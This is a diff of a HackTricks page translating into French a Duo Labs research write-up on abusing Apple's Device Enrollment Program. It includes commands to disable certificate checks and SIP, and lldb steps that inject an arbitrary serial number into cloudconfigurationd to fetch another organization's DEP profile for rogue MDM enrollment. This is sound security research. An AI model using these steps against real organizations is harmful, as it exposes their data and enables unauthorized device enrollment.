[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Intro +# Introduction -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +Comme [**mentionné précédemment**](./#what-is-mdm-mobile-device-management), pour essayer d'inscrire un appareil dans une organisation, **seul un numéro de série appartenant à cette organisation est nécessaire**. Une fois l'appareil inscrit, plusieurs organisations installeront des données sensibles sur le nouvel appareil : des certificats, des applications, des mots de passe WiFi, des configurations VPN [et ainsi de suite](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Par conséquent, cela pourrait être un point d'entrée dangereux pour les attaquants si le processus d'inscription n'est pas correctement protégé. -**The following research is taken from** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe) +**La recherche suivante est tirée de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe) -# Reversing the process +# Inverser le processus -## Binaries Involved in DEP and MDM +## Binaires impliqués dans DEP et MDM -Throughout our research, we explored the following: +Au cours de notre recherche, nous avons exploré les éléments suivants : -* **`mdmclient`**: Used by the OS to communicate with an MDM server. On macOS 10.13.3 and earlier, it can also be used to trigger a DEP check-in. -* **`profiles`**: A utility that can be used to install, remove and view Configuration Profiles on macOS. It can also be used to trigger a DEP check-in on macOS 10.13.4 and newer. -* **`cloudconfigurationd`**: The Device Enrollment client daemon, which is responsible for communicating with the DEP API and retrieving Device Enrollment profiles. +* **`mdmclient`** : Utilisé par le système d'exploitation pour communiquer avec un serveur MDM. Sur macOS 10.13.3 et antérieurs, il peut également être utilisé pour déclencher une vérification DEP. +* **`profiles`** : Un utilitaire qui peut être utilisé pour installer, supprimer et afficher des profils de configuration sur macOS. Il peut également être utilisé pour déclencher une vérification DEP sur macOS 10.13.4 et plus récent. +* **`cloudconfigurationd`** : Le démon client d'inscription de l'appareil, qui est responsable de la communication avec l'API DEP et de la récupération des profils d'inscription de l'appareil. -When using either `mdmclient` or `profiles` to initiate a DEP check-in, the `CPFetchActivationRecord` and `CPGetActivationRecord` functions are used to retrieve the _Activation Record_. `CPFetchActivationRecord` delegates control to `cloudconfigurationd` through [XPC](https://developer.apple.com/documentation/xpc), which then retrieves the _Activation Record_ from the DEP API. +Lorsque `mdmclient` ou `profiles` est utilisé pour initier une vérification DEP, les fonctions `CPFetchActivationRecord` et `CPGetActivationRecord` sont utilisées pour récupérer l'_Activation Record_. `CPFetchActivationRecord` délègue le contrôle à `cloudconfigurationd` via [XPC](https://developer.apple.com/documentation/xpc), qui récupère ensuite l'_Activation Record_ depuis l'API DEP. -`CPGetActivationRecord` retrieves the _Activation Record_ from cache, if available. These functions are defined in the private Configuration Profiles framework, located at `/System/Library/PrivateFrameworks/Configuration Profiles.framework`. +`CPGetActivationRecord` récupère l'_Activation Record_ depuis le cache, si disponible. Ces fonctions sont définies dans le framework de profils de configuration privé, situé à `/System/Library/PrivateFrameworks/Configuration Profiles.framework`. -## Reverse Engineering the Tesla Protocol and Absinthe Scheme - -During the DEP check-in process, `cloudconfigurationd` requests an _Activation Record_ from _iprofiles.apple.com/macProfile_. The request payload is a JSON dictionary containing two key-value pairs: +## Inverser le protocole Tesla et le schéma Absinthe +Pendant le processus de vérification DEP, `cloudconfigurationd` demande un _Activation Record_ à _iprofiles.apple.com/macProfile_. La charge utile de la demande est un dictionnaire JSON contenant deux paires clé-valeur : ``` { "sn": "", action": "RequestProfileConfiguration } ``` +Le payload est signé et chiffré en utilisant un schéma interne appelé "Absinthe". Le payload chiffré est ensuite encodé en Base 64 et utilisé comme corps de requête dans une requête HTTP POST à _iprofiles.apple.com/macProfile_. -The payload is signed and encrypted using a scheme internally referred to as "Absinthe." The encrypted payload is then Base 64 encoded and used as the request body in an HTTP POST to _iprofiles.apple.com/macProfile_. - -In `cloudconfigurationd`, fetching the _Activation Record_ is handled by the `MCTeslaConfigurationFetcher` class. The general flow from `[MCTeslaConfigurationFetcher enterState:]` is as follows: - +Dans `cloudconfigurationd`, la récupération de l'_Activation Record_ est gérée par la classe `MCTeslaConfigurationFetcher`. Le flux général de `[MCTeslaConfigurationFetcher enterState:]` est le suivant: ``` rsi = @selector(verifyConfigBag); rsi = @selector(startCertificateFetch); @@ -63,24 +58,20 @@ rsi = @selector(startConfigurationFetch); rsi = @selector(sendConfigurationInfoToRemote); rsi = @selector(sendFailureNoticeToRemote); ``` - -Since the **Absinthe** scheme is what appears to be used to authenticate requests to the DEP service, **reverse engineering** this scheme would allow us to make our own authenticated requests to the DEP API. This proved to be **time consuming**, though, mostly because of the number of steps involved in authenticating requests. Rather than fully reversing how this scheme works, we opted to explore other methods of inserting arbitrary serial numbers as part of the _Activation Record_ request. +Puisque le schéma **Absinthe** semble être utilisé pour authentifier les demandes de service DEP, **l'ingénierie inverse** de ce schéma nous permettrait de faire nos propres demandes authentifiées à l'API DEP. Cependant, cela s'est avéré **chronophage**, principalement en raison du nombre d'étapes impliquées dans l'authentification des demandes. Au lieu de renverser complètement le fonctionnement de ce schéma, nous avons opté pour explorer d'autres méthodes d'insertion de numéros de série arbitraires dans la demande de _Activation Record_. ## MITMing DEP Requests -We explored the feasibility of proxying network requests to _iprofiles.apple.com_ with [Charles Proxy](https://www.charlesproxy.com). Our goal was to inspect the payload sent to _iprofiles.apple.com/macProfile_, then insert an arbitrary serial number and replay the request. As previously mentioned, the payload submitted to that endpoint by `cloudconfigurationd` is in [JSON](https://www.json.org) format and contains two key-value pairs. - +Nous avons exploré la faisabilité de la mise en proxy des demandes réseau vers _iprofiles.apple.com_ avec [Charles Proxy](https://www.charlesproxy.com). Notre objectif était d'inspecter la charge utile envoyée à _iprofiles.apple.com/macProfile_, puis d'insérer un numéro de série arbitraire et de rejouer la demande. Comme mentionné précédemment, la charge utile soumise à ce point final par `cloudconfigurationd` est au format [JSON](https://www.json.org) et contient deux paires clé-valeur. ``` { "action": "RequestProfileConfiguration", sn": " } ``` +Étant donné que l'API sur _iprofiles.apple.com_ utilise [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), nous avons dû activer la proxy SSL dans Charles pour ce domaine afin de voir le contenu en clair des requêtes SSL. -Since the API at _iprofiles.apple.com_ uses [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), we needed to enable SSL Proxying in Charles for that host to see the plain text contents of the SSL requests. - -However, the `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` method checks the validity of the server certificate, and will abort if server trust cannot be verified. - +Cependant, la méthode `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` vérifie la validité du certificat du serveur et interrompt la connexion si la confiance du serveur ne peut pas être vérifiée. ``` [ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011 "The Device Enrollment server trust could not be verified. Please contact your system @@ -89,24 +80,18 @@ verified. Please contact your system administrator., NSLocalizedDescription=The server trust could not be verified. Please contact your system administrator., MCErrorType=MCFatalError} ``` - -The error message shown above is located in a binary _Errors.strings_ file with the key `CLOUD_CONFIG_SERVER_TRUST_ERROR`, which is located at `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, along with other related error messages. - +Le message d'erreur affiché ci-dessus se trouve dans un fichier binaire _Errors.strings_ avec la clé `CLOUD_CONFIG_SERVER_TRUST_ERROR`, qui se trouve à `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, ainsi que d'autres messages d'erreur connexes. ``` $ cd /System/Library/CoreServices $ rg "The Device Enrollment server trust could not be verified" ManagedClient.app/Contents/Resources/English.lproj/Errors.strings ``` - -The _Errors.strings_ file can be [printed in a human-readable format](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) with the built-in `plutil` command. - +Le fichier _Errors.strings_ peut être [imprimé dans un format lisible par l'homme](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) avec la commande intégrée `plutil`. ``` $ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings ``` - -After looking into the `MCTeslaConfigurationFetcher` class further, though, it became clear that this server trust behavior can be circumvented by enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option on the `com.apple.ManagedClient.cloudconfigurationd` preference domain. - +Après avoir examiné plus en détail la classe `MCTeslaConfigurationFetcher`, il est devenu clair que ce comportement de confiance du serveur peut être contourné en activant l'option de configuration `MCCloudConfigAcceptAnyHTTPSCertificate` sur le domaine de préférence `com.apple.ManagedClient.cloudconfigurationd`. ``` loc_100006406: rax = [NSUserDefaults standardUserDefaults]; @@ -116,44 +101,36 @@ r15 = r15; [rax release]; if (r14 != 0x1) goto loc_10000646f; ``` - -The `MCCloudConfigAcceptAnyHTTPSCertificate` configuration option can be set with the `defaults` command. - +L'option de configuration `MCCloudConfigAcceptAnyHTTPSCertificate` peut être définie avec la commande `defaults`. ``` sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes ``` +Avec SSL Proxying activé pour _iprofiles.apple.com_ et `cloudconfigurationd` configuré pour accepter n'importe quel certificat HTTPS, nous avons tenté de faire une attaque de type man-in-the-middle et de rejouer les requêtes dans Charles Proxy. -With SSL Proxying enabled for _iprofiles.apple.com_ and `cloudconfigurationd` configured to accept any HTTPS certificate, we attempted to man-in-the-middle and replay the requests in Charles Proxy. +Cependant, étant donné que la charge utile incluse dans le corps de la requête HTTP POST à _iprofiles.apple.com/macProfile_ est signée et chiffrée avec Absinthe (`NACSign`), **il n'est pas possible de modifier la charge utile JSON en clair pour inclure un numéro de série arbitraire sans avoir également la clé pour la décrypter**. Bien qu'il soit possible d'obtenir la clé car elle reste en mémoire, nous avons plutôt continué à explorer `cloudconfigurationd` avec le débogueur [LLDB](https://lldb.llvm.org). -However, since the payload included in the body of the HTTP POST request to _iprofiles.apple.com/macProfile_ is signed and encrypted with Absinthe, (`NACSign`), **it isn't possible to modify the plain text JSON payload to include an arbitrary serial number without also having the key to decrypt it**. Although it would be possible to obtain the key because it remains in memory, we instead moved on to exploring `cloudconfigurationd` with the [LLDB](https://lldb.llvm.org) debugger. +## Instrumentation des binaires système qui interagissent avec DEP -## Instrumenting System Binaries That Interact With DEP +La dernière méthode que nous avons explorée pour automatiser le processus de soumission de numéros de série arbitraires à _iprofiles.apple.com/macProfile_ était d'instrumenter les binaires natifs qui interagissent directement ou indirectement avec l'API DEP. Cela a impliqué une exploration initiale de `mdmclient`, `profiles` et `cloudconfigurationd` dans [Hopper v4](https://www.hopperapp.com) et [Ida Pro](https://www.hex-rays.com/products/ida/), ainsi que de longues sessions de débogage avec `lldb`. -The final method we explored for automating the process of submitting arbitrary serial numbers to _iprofiles.apple.com/macProfile_ was to instrument native binaries that either directly or indirectly interact with the DEP API. This involved some initial exploration of the `mdmclient`, `profiles`, and `cloudconfigurationd` in [Hopper v4](https://www.hopperapp.com) and [Ida Pro](https://www.hex-rays.com/products/ida/), and some lengthy debugging sessions with `lldb`. +L'un des avantages de cette méthode par rapport à la modification des binaires et à leur resignature avec notre propre clé est qu'elle contourne certaines des restrictions d'attribution intégrées à macOS qui pourraient autrement nous dissuader. -One of the benefits of this method over modifying the binaries and re-signing them with our own key is that it sidesteps some of the entitlements restrictions built into macOS that might otherwise deter us. - -**System Integrity Protection** - -In order to instrument system binaries, (such as `cloudconfigurationd`) on macOS, [System Integrity Protection](https://support.apple.com/en-us/HT204899) (SIP) must be disabled. SIP is a security technology that protects system-level files, folders, and processes from tampering, and is enabled by default on OS X 10.11 “El Capitan” and later. [SIP can be disabled](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) by booting into Recovery Mode and running the following command in the Terminal application, then rebooting: +**Protection de l'intégrité du système** +Pour instrumenter les binaires système (tels que `cloudconfigurationd`) sur macOS, [la protection de l'intégrité du système](https://support.apple.com/en-us/HT204899) (SIP) doit être désactivée. SIP est une technologie de sécurité qui protège les fichiers, dossiers et processus de niveau système contre les manipulations, et est activée par défaut sur OS X 10.11 "El Capitan" et ultérieur. [SIP peut être désactivé](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) en démarrant en mode de récupération et en exécutant la commande suivante dans l'application Terminal, puis en redémarrant : ``` csrutil enable --without debug ``` +Il convient de noter, cependant, que SIP est une fonctionnalité de sécurité utile et ne doit pas être désactivée, sauf à des fins de recherche et de test sur des machines non productives. Il est également possible (et recommandé) de le faire sur des machines virtuelles non critiques plutôt que sur le système d'exploitation hôte. -It’s worth noting, however, that SIP is a useful security feature and should not be disabled except for research and testing purposes on non-production machines. It’s also possible (and recommended) to do this on non-critical Virtual Machines rather than on the host operating system. - -**Binary Instrumentation With LLDB** - -With SIP disabled, we were then able to move forward with instrumenting the system binaries that interact with the DEP API, namely, the `cloudconfigurationd` binary. Because `cloudconfigurationd` requires elevated privileges to run, we need to start `lldb` with `sudo`. +**Instrumentation binaire avec LLDB** +Avec SIP désactivé, nous avons pu avancer dans l'instrumentation des binaires système qui interagissent avec l'API DEP, à savoir le binaire `cloudconfigurationd`. Comme `cloudconfigurationd` nécessite des privilèges élevés pour s'exécuter, nous devons démarrer `lldb` avec `sudo`. ``` $ sudo lldb (lldb) process attach --waitfor --name cloudconfigurationd ``` - -While `lldb` is waiting, we can then attach to `cloudconfigurationd` by running `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. Once attached, output similar to the following will be displayed and LLDB commands can be typed at the prompt. - +Pendant que `lldb` attend, nous pouvons ensuite nous connecter à `cloudconfigurationd` en exécutant `sudo /usr/libexec/mdmclient dep nag` dans une fenêtre de terminal séparée. Une fois connecté, une sortie similaire à celle-ci-dessous sera affichée et les commandes LLDB peuvent être saisies à l'invite. ``` Process 861 stopped * thread #1, stop reason = signal SIGSTOP @@ -164,13 +141,11 @@ Executable module set to "/usr/libexec/cloudconfigurationd". Architecture set to: x86_64h-apple-macosx. (lldb) ``` +**Définition du numéro de série de l'appareil** -**Setting the Device Serial Number** - -One of the first things we looked for when reversing `mdmclient` and `cloudconfigurationd` was the code responsible for retrieving the system serial number, as we knew the serial number was ultimately responsible for authenticating the device. Our goal was to modify the serial number in memory after it is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), and have that be used when `cloudconfigurationd` constructs the `macProfile` payload. - -Although `cloudconfigurationd` is ultimately responsible for communicating with the DEP API, we also looked into whether the system serial number is retrieved or used directly within `mdmclient`. The serial number retrieved as shown below is not what is sent to the DEP API, but it did reveal a hard-coded serial number that is used if a specific configuration option is enabled. +L'un des premiers éléments que nous avons recherchés lors de la rétro-ingénierie de `mdmclient` et `cloudconfigurationd` était le code responsable de la récupération du numéro de série du système, car nous savions que le numéro de série était finalement responsable de l'authentification de l'appareil. Notre objectif était de modifier le numéro de série en mémoire après sa récupération à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), et de l'utiliser lorsque `cloudconfigurationd` construit la charge utile `macProfile`. +Bien que `cloudconfigurationd` soit finalement responsable de la communication avec l'API DEP, nous avons également examiné si le numéro de série du système est récupéré ou utilisé directement dans `mdmclient`. Le numéro de série récupéré comme indiqué ci-dessous n'est pas ce qui est envoyé à l'API DEP, mais il a révélé un numéro de série codé en dur qui est utilisé si une option de configuration spécifique est activée. ``` int sub_10002000f() { if (sub_100042b6f() != 0x0) { @@ -185,9 +160,7 @@ rax = r14; return rax; } ``` - -The system serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), unless the return value of `sub_10002000f` is nonzero, in which case it’s set to the static string “2222XXJREUF”. Upon inspecting that function, it appears to check whether “Server stress test mode” is enabled. - +Le numéro de série du système est récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), sauf si la valeur de retour de `sub_10002000f` est différente de zéro, auquel cas il est défini sur la chaîne statique "2222XXJREUF". En examinant cette fonction, il semble vérifier si le "mode de test de stress du serveur" est activé. ``` void sub_1000321ca(void * _block) { if (sub_10002406f() != 0x0) { @@ -197,11 +170,9 @@ sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0 return; } ``` +Nous avons documenté l'existence du "mode de test de stress du serveur", mais nous ne l'avons pas exploré plus loin, car notre objectif était de modifier le numéro de série présenté à l'API DEP. Au lieu de cela, nous avons testé si la modification du numéro de série pointé par le registre `r14` suffirait à récupérer un _Activation Record_ qui n'était pas destiné à la machine sur laquelle nous testions. -We documented the existence of “server stress test mode,” but didn’t explore it any further, as our goal was to modify the serial number presented to the DEP API. Instead, we tested whether modifying the serial number pointed to by the `r14` register would suffice in retrieving an _Activation Record_ that was not meant for the machine we were testing on. - -Next, we looked at how the system serial number is retrieved within `cloudconfigurationd`. - +Ensuite, nous avons examiné comment le numéro de série du système est récupéré dans `cloudconfigurationd`. ``` int sub_10000c100(int arg0, int arg1, int arg2, int arg3) { var_50 = arg3; @@ -219,11 +190,9 @@ rax = r14; return rax; } ``` +Comme on peut le voir ci-dessus, le numéro de série est récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) dans `cloudconfigurationd`. -As can be seen above, the serial number is retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) in `cloudconfigurationd` as well. - -Using `lldb`, we were able to modify the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) by setting a breakpoint for `IOServiceGetMatchingService` and creating a new string variable containing an arbitrary serial number and rewriting the `r14` register to point to the memory address of the variable we created. - +En utilisant `lldb`, nous avons pu modifier le numéro de série récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) en définissant un point d'arrêt pour `IOServiceGetMatchingService` et en créant une nouvelle variable de chaîne contenant un numéro de série arbitraire et en réécrivant le registre `r14` pour pointer vers l'adresse mémoire de la variable que nous avons créée. ``` (lldb) breakpoint set -n IOServiceGetMatchingService # Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. @@ -253,29 +222,27 @@ C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry` # Confirm that `r14` contains the new serial number. C02XXYYZZNNMM ``` +Bien que nous ayons réussi à modifier le numéro de série récupéré à partir de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), la charge utile `macProfile` contenait toujours le numéro de série du système, et non celui que nous avons écrit dans le registre `r14`. -Although we were successful in modifying the serial number retrieved from the [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), the `macProfile` payload still contained the system serial number, not the one we wrote to the `r14` register. +**Exploitation : Modification du dictionnaire de demande de profil avant la sérialisation JSON** -**Exploit: Modifying the Profile Request Dictionary Prior to JSON Serialization** +Ensuite, nous avons essayé de définir le numéro de série envoyé dans la charge utile `macProfile` d'une manière différente. Cette fois, au lieu de modifier le numéro de série du système récupéré via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), nous avons essayé de trouver le point le plus proche dans le code où le numéro de série est encore en texte clair avant d'être signé avec Absinthe (`NACSign`). Le meilleur point à examiner semblait être `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, qui effectue approximativement les étapes suivantes : -Next, we tried setting the serial number that is sent in the `macProfile` payload in a different way. This time, rather than modifying the system serial number retrieved via [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), we tried to find the closest point in the code where the serial number is still in plain text before being signed with Absinthe (`NACSign`). The best point to look at appeared to be `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, which roughly performs the following steps: - -* Creates a new `NSMutableData` object -* Calls `[MCTeslaConfigurationFetcher setConfigurationData:]`, passing it the new `NSMutableData` object -* Calls `[MCTeslaConfigurationFetcher profileRequestDictionary]`, which returns an `NSDictionary` object containing two key-value pairs: -* `sn`: The system serial number -* `action`: The remote action to perform (with `sn` as its argument) -* Calls `[NSJSONSerialization dataWithJSONObject:]`, passing it the `NSDictionary` from `profileRequestDictionary` -* Signs the JSON payload using Absinthe (`NACSign`) -* Base64 encodes the signed JSON payload -* Sets the HTTP method to `POST` -* Sets the HTTP body to the base64 encoded, signed JSON payload -* Sets the `X-Profile-Protocol-Version` HTTP header to `1` -* Sets the `User-Agent` HTTP header to `ConfigClient-1.0` -* Uses the `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` method to perform the HTTP request - -We then modified the `NSDictionary` object returned from `profileRequestDictionary` before being converted into JSON. To do this, a breakpoint was set on `dataWithJSONObject` in order to get us as close as possible to the as-yet unconverted data as possible. The breakpoint was successful, and when we printed the contents of the register we knew through the disassembly (`rdx`) that we got the results we expected to see. +* Crée un nouvel objet `NSMutableData` +* Appelle `[MCTeslaConfigurationFetcher setConfigurationData:]`, en passant le nouvel objet `NSMutableData` +* Appelle `[MCTeslaConfigurationFetcher profileRequestDictionary]`, qui renvoie un objet `NSDictionary` contenant deux paires clé-valeur : +* `sn` : Le numéro de série du système +* `action` : L'action à distance à effectuer (avec `sn` comme argument) +* Appelle `[NSJSONSerialization dataWithJSONObject:]`, en passant le `NSDictionary` de `profileRequestDictionary` +* Signe la charge utile JSON à l'aide d'Absinthe (`NACSign`) +* Encode en base64 la charge utile JSON signée +* Définit la méthode HTTP sur `POST` +* Définit le corps HTTP sur la charge utile JSON signée en base64 +* Définit l'en-tête HTTP `X-Profile-Protocol-Version` sur `1` +* Définit l'en-tête HTTP `User-Agent` sur `ConfigClient-1.0` +* Utilise la méthode `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` pour effectuer la requête HTTP +Nous avons ensuite modifié l'objet `NSDictionary` renvoyé par `profileRequestDictionary` avant d'être converti en JSON. Pour ce faire, un point d'arrêt a été défini sur `dataWithJSONObject` afin de nous rapprocher autant que possible des données non converties. Le point d'arrêt a réussi, et lorsque nous avons imprimé le contenu du registre que nous connaissions grâce à la désassemblage (`rdx`), nous avons obtenu les résultats que nous attendions de voir. ``` po $rdx { @@ -283,9 +250,7 @@ action = RequestProfileConfiguration; sn = C02XXYYZZNNMM; } ``` - -The above is a pretty-printed representation of the `NSDictionary` object returned by `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Our next challenge was to modify the in-memory `NSDictionary` containing the serial number. - +Le ci-dessus est une représentation joliment formatée de l'objet `NSDictionary` renvoyé par `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Notre prochain défi était de modifier le `NSDictionary` en mémoire contenant le numéro de série. ``` (lldb) breakpoint set -r "dataWithJSONObject" # Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window. @@ -307,27 +272,23 @@ action = RequestProfileConfiguration; sn = } ``` +La liste ci-dessus effectue les actions suivantes : -The listing above does the following: - -* Creates a regular expression breakpoint for the `dataWithJSONObject` selector -* Waits for the `cloudconfigurationd` process to start, then attaches to it -* `continue`s execution of the program, (because the first breakpoint we hit for `dataWithJSONObject` is not the one called on the `profileRequestDictionary`) -* Creates and prints (in hex format due to the `/x`) the result of creating our arbitrary `NSDictionary` -* Since we already know the names of the required keys we can simply set the serial number to one of our choice for `sn` and leave action alone -* The printout of the result of creating this new `NSDictionary` tells us we have two key-value pairs at a specific memory location - -Our final step was now to repeat the same step of writing to `rdx` the memory location of our custom `NSDictionary` object that contains our chosen serial number: +* Crée un point d'arrêt d'expression régulière pour le sélecteur `dataWithJSONObject` +* Attend que le processus `cloudconfigurationd` démarre, puis s'y attache +* Poursuit l'exécution du programme (car le premier point d'arrêt que nous avons atteint pour `dataWithJSONObject` n'est pas celui appelé sur le `profileRequestDictionary`) +* Crée et affiche (en format hexadécimal en raison de `/x`) le résultat de la création de notre `NSDictionary` arbitraire +* Puisque nous connaissons déjà les noms des clés requises, nous pouvons simplement définir le numéro de série sur l'un de nos choix pour `sn` et laisser `action` inchangé +* L'impression du résultat de la création de ce nouveau `NSDictionary` nous indique que nous avons deux paires clé-valeur à une adresse mémoire spécifique +Notre dernière étape consistait à répéter la même étape d'écriture dans `rdx` l'emplacement mémoire de notre objet `NSDictionary` personnalisé qui contient notre numéro de série choisi : ``` (lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable (lldb) continue ``` +Ceci pointe le registre `rdx` vers notre nouveau `NSDictionary` juste avant qu'il ne soit sérialisé en [JSON](https://www.json.org) et envoyé en `POST` à _iprofiles.apple.com/macProfile_, puis le flux du programme `continue`. -This points the `rdx` register to our new `NSDictionary` right before it's serialized to [JSON](https://www.json.org) and `POST`ed to _iprofiles.apple.com/macProfile_, then `continue`s program flow. - -This method of modifying the serial number in the profile request dictionary before being serialized to JSON worked. When using a known-good DEP-registered Apple serial number instead of (null), the debug log for `ManagedClient` showed the complete DEP profile for the device: - +Cette méthode de modification du numéro de série dans le dictionnaire de demande de profil avant sa sérialisation en JSON a fonctionné. Lorsque l'on utilise un numéro de série Apple enregistré DEP connu à la place de (null), le journal de débogage de `ManagedClient` a montré le profil DEP complet pour le dispositif : ``` Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration: { @@ -370,33 +331,29 @@ SupervisorHostCertificates = ( ); } ``` +Avec seulement quelques commandes `lldb`, nous pouvons insérer avec succès un numéro de série arbitraire et obtenir un profil DEP qui inclut diverses données spécifiques à l'organisation, y compris l'URL d'inscription MDM de l'organisation. Comme discuté, cette URL d'inscription pourrait être utilisée pour inscrire un appareil malveillant maintenant que nous connaissons son numéro de série. Les autres données pourraient être utilisées pour l'ingénierie sociale d'une inscription malveillante. Une fois inscrit, l'appareil pourrait recevoir un certain nombre de certificats, de profils, d'applications, de configurations VPN, etc. -With just a few `lldb` commands we can successfully insert an arbitrary serial number and get a DEP profile that includes various organization-specific data, including the organization's MDM enrollment URL. As discussed, this enrollment URL could be used to enroll a rogue device now that we know its serial number. The other data could be used to social engineer a rogue enrollment. Once enrolled, the device could receive any number of certificates, profiles, applications, VPN configurations and so on. +## Automatisation de l'instrumentation `cloudconfigurationd` avec Python -## Automating `cloudconfigurationd` Instrumentation With Python - -Once we had the initial proof-of-concept demonstrating how to retrieve a valid DEP profile using just a serial number, we set out to automate this process to show how an attacker might abuse this weakness in authentication. - -Fortunately, the LLDB API is available in Python through a [script-bridging interface](https://lldb.llvm.org/python-reference.html). On macOS systems with the [Xcode Command Line Tools](https://developer.apple.com/download/more/) installed, the `lldb` Python module can be imported as follows: +Une fois que nous avons eu la preuve de concept initiale démontrant comment récupérer un profil DEP valide en utilisant simplement un numéro de série, nous avons cherché à automatiser ce processus pour montrer comment un attaquant pourrait exploiter cette faiblesse dans l'authentification. +Heureusement, l'API LLDB est disponible en Python via une [interface de script](https://lldb.llvm.org/python-reference.html). Sur les systèmes macOS avec les [outils de ligne de commande Xcode](https://developer.apple.com/download/more/) installés, le module Python `lldb` peut être importé comme suit: ``` import lldb ``` +Cela a rendu relativement facile la création d'un script de notre preuve de concept démontrant comment insérer un numéro de série enregistré dans DEP et recevoir en retour un profil DEP valide. Le PoC que nous avons développé prend une liste de numéros de série séparés par des sauts de ligne et les injecte dans le processus `cloudconfigurationd` pour vérifier les profils DEP. -This made it relatively easy to script our proof-of-concept demonstrating how to insert a DEP-registered serial number and receive a valid DEP profile in return. The PoC we developed takes a list of serial numbers separated by newlines and injects them into the `cloudconfigurationd` process to check for DEP profiles. +![Paramètres de proxy SSL de Charles.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b) -![Charles SSL Proxying Settings.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2NoYXJsZXNfc3NsX3Byb3h5aW5nX3NldHRpbmdzLnBuZw==?w=800\&fit=contain\&s=d1c9216716bf619e7e10e45c9968f83b) - -![DEP Notification.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961) +![Notification DEP.](https://duo.com/img/asset/aW1nL2xhYnMvcmVzZWFyY2gvaW1nL2RlcF9ub3RpZmljYXRpb24ucG5n?w=800\&fit=contain\&s=4f7b95efd02245f9953487dcaac6a961) ## Impact -There are a number of scenarios in which Apple's Device Enrollment Program could be abused that would lead to exposing sensitive information about an organization. The two most obvious scenarios involve obtaining information about the organization that a device belongs to, which can be retrieved from the DEP profile. The second is using this information to perform a rogue DEP and MDM enrollment. Each of these are discussed further below. +Il existe plusieurs scénarios dans lesquels le programme d'enregistrement des appareils d'Apple pourrait être utilisé de manière abusive, ce qui pourrait conduire à la divulgation d'informations sensibles sur une organisation. Les deux scénarios les plus évidents impliquent l'obtention d'informations sur l'organisation à laquelle un appareil appartient, qui peuvent être 